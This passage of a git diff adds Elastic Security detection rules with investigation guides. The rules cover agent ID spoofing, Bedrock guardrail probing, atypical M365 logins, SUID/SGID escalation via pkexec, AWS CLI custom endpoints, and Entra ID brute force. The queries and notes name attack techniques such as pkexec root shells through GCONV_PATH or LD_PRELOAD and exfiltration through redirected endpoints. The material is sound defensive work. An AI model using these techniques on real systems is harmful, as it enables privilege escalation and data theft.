"metrics-*", + "traces-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Agent Spoofing - Mismatched Agent ID", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Agent Spoofing - Mismatched Agent ID\n\nIn security environments, agent IDs uniquely identify software agents that report events. Adversaries may spoof these IDs to disguise unauthorized activities, evading detection systems. The detection rule identifies discrepancies between expected and actual agent IDs, flagging potential spoofing attempts. By monitoring for mismatches, it helps uncover efforts to masquerade malicious actions as legitimate.\n\n### Possible investigation steps\n\n- Review the event logs to identify the specific events where the agent_id_status is marked as \"agent_id_mismatch\" or \"mismatch\" to understand the scope and frequency of the issue.\n- Correlate the mismatched agent IDs with the associated API keys to determine if there are any patterns or commonalities that could indicate a targeted spoofing attempt.\n- Investigate the source IP addresses and user accounts associated with the mismatched events to identify any unauthorized access or suspicious activity.\n- Check for any recent changes or anomalies in the configuration or deployment of agents that could explain the mismatches, such as updates or reassignments.\n- Analyze historical data to determine if similar mismatches have occurred in the past and whether they were resolved or linked to known issues or threats.\n- Consult with the IT or security team to verify if there are any legitimate reasons for the agent ID discrepancies, such as testing or maintenance activities.\n\n### False positive analysis\n\n- Legitimate software updates or patches may temporarily cause agent ID mismatches. Users should verify if the mismatches coincide with scheduled updates and consider excluding these events if confirmed.\n- Network configuration changes, such as IP address reassignments, can lead to mismatches. Ensure that network changes are documented and correlate with the mismatched events before excluding them.\n- Virtual machine snapshots or clones might result in duplicate agent IDs. Users should track virtual machine activities and exclude events from known snapshot or cloning operations.\n- Load balancing or failover processes in high-availability environments can cause agent ID discrepancies. Review the infrastructure setup and exclude events that align with these processes.\n- Testing environments often simulate various agent activities, leading to mismatches. Clearly separate test environments from production in monitoring systems and exclude test-related events.\n\n### Response and remediation\n\n- Immediately isolate the affected systems to prevent further unauthorized access or data exfiltration. This can be done by disconnecting the system from the network or using network segmentation techniques.\n- Conduct a thorough review of the logs and events associated with the mismatched agent ID to identify any unauthorized changes or activities. Focus on the specific events flagged by the detection rule.\n- Revoke and reissue API keys associated with the compromised agent ID to prevent further misuse. Ensure that new keys are distributed securely and only to authorized personnel.\n- Implement additional monitoring on the affected systems and related network segments to detect any further attempts at agent ID spoofing or other suspicious activities.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat actor has compromised other parts of the network.\n- Review and update access controls and authentication mechanisms to ensure that only legitimate agents can report events. Consider implementing multi-factor authentication for added security.\n- Document the incident, including all actions taken, and conduct a post-incident review to identify any gaps in detection or response. Use this information to enhance future threat detection and response capabilities.", + "query": "event.agent_id_status:(agent_id_mismatch or mismatch) and not host.name:agentless-*\n", + "required_fields": [ + { + "ecs": true, + "name": "event.agent_id_status", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1036", + "name": "Masquerading", + "reference": "https://attack.mitre.org/techniques/T1036/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 104 + }, + "id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93_104", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_4.json b/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_4.json new file mode 100644 index 00000000000..e894d49781b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_4.json @@ -0,0 +1,61 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics.", + "false_positives": [ + "New model deployments.", + "Testing updates to compliance policies." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual High Word Policy Blocks Detected", + "note": "## Triage and analysis\n\n### Investigating Unusual High Word Policy Blocks Detected\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"word filters\" to prevent the model from generating content on profanity, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account whose prompts contained profanity and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Expand multivalued policy names\n| mv_expand gen_ai.policy.name\n| mv_expand gen_ai.policy.action\n\n// Filter for blocked profanity-related policy violations\n| where\n gen_ai.policy.action == \"BLOCKED\"\n and gen_ai.compliance.violation_detected == \"true\"\n and gen_ai.policy.name == \"word_policy\"\n\n// keep relevant user field\n| keep user.id\n\n// count blocked profanity attempts per user\n| stats\n Esql.ml_policy_blocked_profanity_count = count()\n by user.id\n\n// Filter for excessive policy violations\n| where Esql.ml_policy_blocked_profanity_count > 5\n\n// sort by violation volume\n| sort Esql.ml_policy_blocked_profanity_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_policy_blocked_profanity_count", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "3216949c-9300-4c53-b57a-221e364c6457", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "3216949c-9300-4c53-b57a-221e364c6457_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_8.json b/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_8.json new file mode 100644 index 00000000000..1d78f50f6d3 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_8.json @@ -0,0 +1,136 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN.", + "false_positives": [ + "False positives may occur when users are using a VPN or when users are traveling to different locations\"", + "Mobile access may also result in false positives, as users may log in from various locations while on the go." + ], + "from": "now-15m", + "history_window_start": "now-14d", + "index": [ + "logs-o365.audit-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "organization.id", + "o365.audit.UserId", + "o365.audit.ActorIpAddress", + "o365.audit.ApplicationId", + "o365.audit.ExtendedProperties.RequestType", + "o365.audit.Target.ID", + "source.geo.region_iso_code" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "M365 Identity Login from Atypical Travel Location", + "new_terms_fields": [ + "o365.audit.UserId", + "source.geo.region_iso_code" + ], + "note": "## Triage and analysis\n\n### Investigating M365 Identity Login from Atypical Travel Location\n\nMicrosoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns.\n\n### Possible investigation steps\n\n- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed.\n- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity.\n- Review the ISP information for the login attempts to identify any unusual or suspicious providers.\n- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior.\n- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.)\n- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives.\n\n### False positive analysis\n\n- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt.\n- Mobile access may also result in false positives, as users may log in from various locations while on the go.\n\n### Response and remediation\n\n- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior.\n- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations.\n- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so.\n- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity.\n- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern.\n", + "query": "event.dataset:o365.audit and\n event.provider:AzureActiveDirectory and\n event.action:UserLoggedIn and\n event.outcome:success and\n o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and\n o365.audit.UserId:(* and not \"Not Available\") and\n source.geo.region_iso_code:* and\n not o365.audit.ApplicationId:(\n 29d9ed98-a469-4536-ade2-f981bc1d605e or\n 38aa3b87-a06d-4817-b275-7a316988d93b or\n a809996b-059e-42e2-9866-db24b99a9782\n ) and not o365.audit.ExtendedProperties.RequestType:(\n \"Cmsi:Cmsi\" or\n \"Consent:Set\" or\n \"Login:reprocess\" or\n \"Login:resume\" or\n \"MessagePrompt:MessagePrompt\" or\n \"SAS:EndAuth\"\n )\n", + "references": [ + "https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel-" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.ApplicationId", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.ExtendedProperties.RequestType", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.Target.Type", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.UserId", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_iso_code", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "32d3ad0e-6add-11ef-8c7b-f661ea17fbcc", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Threat Detection", + "Use Case: Identity and Access Audit", + "Tactic: Initial Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 8 + }, + "id": "32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/341c6e18-9ef1-437e-bf18-b513f3ae2130_1.json b/packages/security_detection_engine/kibana/security_rule/341c6e18-9ef1-437e-bf18-b513f3ae2130_1.json new file mode 100644 index 00000000000..0d8ef667de6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/341c6e18-9ef1-437e-bf18-b513f3ae2130_1.json @@ -0,0 +1,147 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Privilege Escalation via SUID/SGID Proxy Execution", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution\n\nThis rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non\u2011root, signaling an attempt to proxy elevated rights. It matters because a non\u2011privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control.\n\n### Possible investigation steps\n\n- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald.\n- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts.\n- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children.\n- Validate whether the executable\u2019s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and known-good baselines.\n- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories.\n\n### False positive analysis\n\n- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non\u2011root, often with a single\u2011argument parent, and should align with an interactive prompt and expected policy.\n- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user\u2011namespace activity.\n\n### Response and remediation\n\n- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation.\n- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes.\n- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys.\n- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account.\n- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec.\n- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and (\n (process.user.id == \"0\" and process.real_user.id != \"0\") or\n (process.group.id == \"0\" and process.real_group.id != \"0\")\n) and process.args in (\n \"/bin/su\", \"/usr/bin/su\",\n \"/usr/bin/sudo\",\n \"/bin/mount\", \"/usr/bin/mount\",\n \"/bin/umount\", \"/usr/bin/umount\",\n \"/usr/bin/fusermount3\",\n \"/bin/passwd\", \"/usr/bin/passwd\",\n \"/bin/chfn\", \"/usr/bin/chfn\",\n \"/bin/chsh\", \"/usr/bin/chsh\",\n \"/bin/gpasswd\", \"/usr/bin/gpasswd\",\n \"/bin/newgrp\", \"/usr/bin/newgrp\",\n \"/sbin/unix_chkpwd\", \"/usr/sbin/unix_chkpwd\",\n \"/usr/bin/newuidmap\", \"/usr/bin/newgidmap\",\n \"/usr/lib/dbus-1.0/dbus-daemon-launch-helper\", \"/usr/libexec/dbus-daemon-launch-helper\",\n \"/usr/lib/openssh/ssh-keysign\", \"/usr/libexec/openssh/ssh-keysign\",\n \"/usr/bin/pkexec\", \"/usr/libexec/pkexec\", \"/usr/lib/polkit-1/pkexec\",\n \"/usr/lib/polkit-1/polkit-agent-helper-1\", \"/usr/libexec/polkit-agent-helper-1\",\n \"/usr/lib/snapd/snap-confine\"\n) and process.parent.args_count == 1 \n", + "references": [ + "https://dfir.ch/posts/today_i_learned_binfmt_misc/", + "https://gtfobins.github.io/#+suid", + "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.group.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args_count", + "type": "long" + }, + { + "ecs": true, + "name": "process.real_group.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.real_user.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "341c6e18-9ef1-437e-bf18-b513f3ae2130", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Tactic: Persistence", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1068", + "name": "Exploitation for Privilege Escalation", + "reference": "https://attack.mitre.org/techniques/T1068/" + }, + { + "id": "T1548", + "name": "Abuse Elevation Control Mechanism", + "reference": "https://attack.mitre.org/techniques/T1548/", + "subtechnique": [ + { + "id": "T1548.001", + "name": "Setuid and Setgid", + "reference": "https://attack.mitre.org/techniques/T1548/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1218", + "name": "System Binary Proxy Execution", + "reference": "https://attack.mitre.org/techniques/T1218/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "341c6e18-9ef1-437e-bf18-b513f3ae2130_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_5.json b/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_5.json new file mode 100644 index 00000000000..42330ad4621 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/349276c0-5fcf-11ef-b1a9-f661ea17fbce_5.json @@ -0,0 +1,91 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations.", + "from": "now-9m", + "history_window_start": "now-10d", + "index": [ + "logs-endpoint.events.process-*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CLI Command with Custom Endpoint URL", + "new_terms_fields": [ + "user.name" + ], + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CLI Command with Custom Endpoint URL\n\nThe AWS CLI allows users to interact with AWS services via command-line, offering flexibility in managing cloud resources. The `--endpoint-url` option lets users specify alternative endpoints, which can be exploited by adversaries to reroute requests to malicious servers, bypassing security controls. The detection rule identifies such misuse by monitoring for the `--endpoint-url` argument in process logs, flagging potential unauthorized activities.\n\n### Possible investigation steps\n\n- Review the process logs to identify the specific command line that triggered the alert, focusing on the presence of the --endpoint-url argument.\n- Investigate the custom endpoint URL specified in the command to determine if it is a known malicious or unauthorized domain.\n- Check the user account associated with the process to assess if it has a history of suspicious activity or if it has been compromised.\n- Analyze network logs to trace any outbound connections to the custom endpoint URL and evaluate the data being transmitted.\n- Correlate the event with other security alerts or logs to identify any patterns or additional indicators of compromise related to the same user or endpoint.\n- Verify if the AWS credentials used in the command have been exposed or misused in other contexts, potentially indicating credential theft or abuse.\n\n### False positive analysis\n\n- Internal testing environments may use custom endpoint URLs for development purposes. To manage this, create exceptions for known internal IP addresses or domain names associated with these environments.\n- Organizations using AWS CLI with custom endpoints for legitimate third-party integrations might trigger this rule. Identify and whitelist these specific integrations by their endpoint URLs to prevent false positives.\n- Automated scripts or tools that interact with AWS services through custom endpoints for monitoring or backup purposes can be flagged. Review and document these scripts, then exclude them from detection by process name or specific endpoint URL.\n- Some organizations may use proxy servers that require custom endpoint URLs for AWS CLI operations. Verify these configurations and exclude the associated endpoint URLs from the detection rule.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Review process logs and network traffic to identify any data that may have been redirected to unauthorized endpoints and assess the extent of potential data exposure.\n- Revoke any AWS credentials or access keys used on the affected system to prevent further misuse and rotate them with new credentials.\n- Conduct a thorough investigation to determine if any other systems have been compromised or if similar unauthorized endpoint usage has occurred elsewhere in the network.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment or remediation actions are necessary.\n- Implement network-level controls to block known malicious endpoints and enhance monitoring for unusual AWS CLI usage patterns across the environment.\n- Update security policies and endpoint protection configurations to detect and alert on the use of custom endpoint URLs in AWS CLI commands, ensuring rapid response to future incidents.", + "query": "host.os.type: \"linux\" and event.category: \"process\" and process.name: \"aws\" and process.args: \"--endpoint-url\"\n", + "references": [ + "https://sysdig.com/blog/scarleteel-2-0/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "349276c0-5fcf-11ef-b1a9-f661ea17fbce", + "severity": "medium", + "tags": [ + "Data Source: Elastic Defend", + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1102", + "name": "Web Service", + "reference": "https://attack.mitre.org/techniques/T1102/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 5 + }, + "id": "349276c0-5fcf-11ef-b1a9-f661ea17fbce_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_108.json b/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_108.json new file mode 100644 index 00000000000..93185da4bb5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_108.json @@ -0,0 +1,254 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams.", + "false_positives": [ + "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." + ], + "from": "now-60m", + "interval": "15m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft 365 Brute Force via Entra ID Sign-Ins", + "note": "## Triage and analysis\n\n### Investigating Microsoft 365 Brute Force via Entra ID Sign-Ins\n\nIdentifies brute-force authentication activity against Microsoft 365 services using Entra ID sign-in logs. This detection groups and classifies failed sign-in attempts based on behavior indicative of password spraying, credential stuffing, or password guessing. The classification (`bf_type`) is included for immediate triage.\n\n### Possible investigation steps\n\n- Review `bf_type`: Classifies the brute-force behavior (`password_spraying`, `credential_stuffing`, `password_guessing`).\n- Examine `user_id_list`: Review the identities targeted. Are they admins, service accounts, or external identities?\n- Review `login_errors`: Multiple identical errors (e.g., `\"Invalid grant...\"`) suggest automated abuse or tooling.\n- Check `ip_list` and `source_orgs`: Determine if requests came from known VPNs, hosting providers, or anonymized infrastructure.\n- Validate `unique_ips` and `countries`: Multiple countries or IPs in a short window may indicate credential stuffing or distributed spray attempts.\n- Compare `total_attempts` vs `duration_seconds`: High volume over a short duration supports non-human interaction.\n- Inspect `user_agent.original` via `device_detail_browser`: Clients like `Python Requests` or `curl` are highly suspicious.\n- Investigate `client_app_display_name` and `incoming_token_type`: Identify non-browser-based logins, token abuse or commonly mimicked clients like VSCode.\n- Review `target_resource_display_name`: Confirm the service being targeted (e.g., SharePoint, Exchange). This may be what authorization is being attempted against.\n- Pivot using `session_id` and 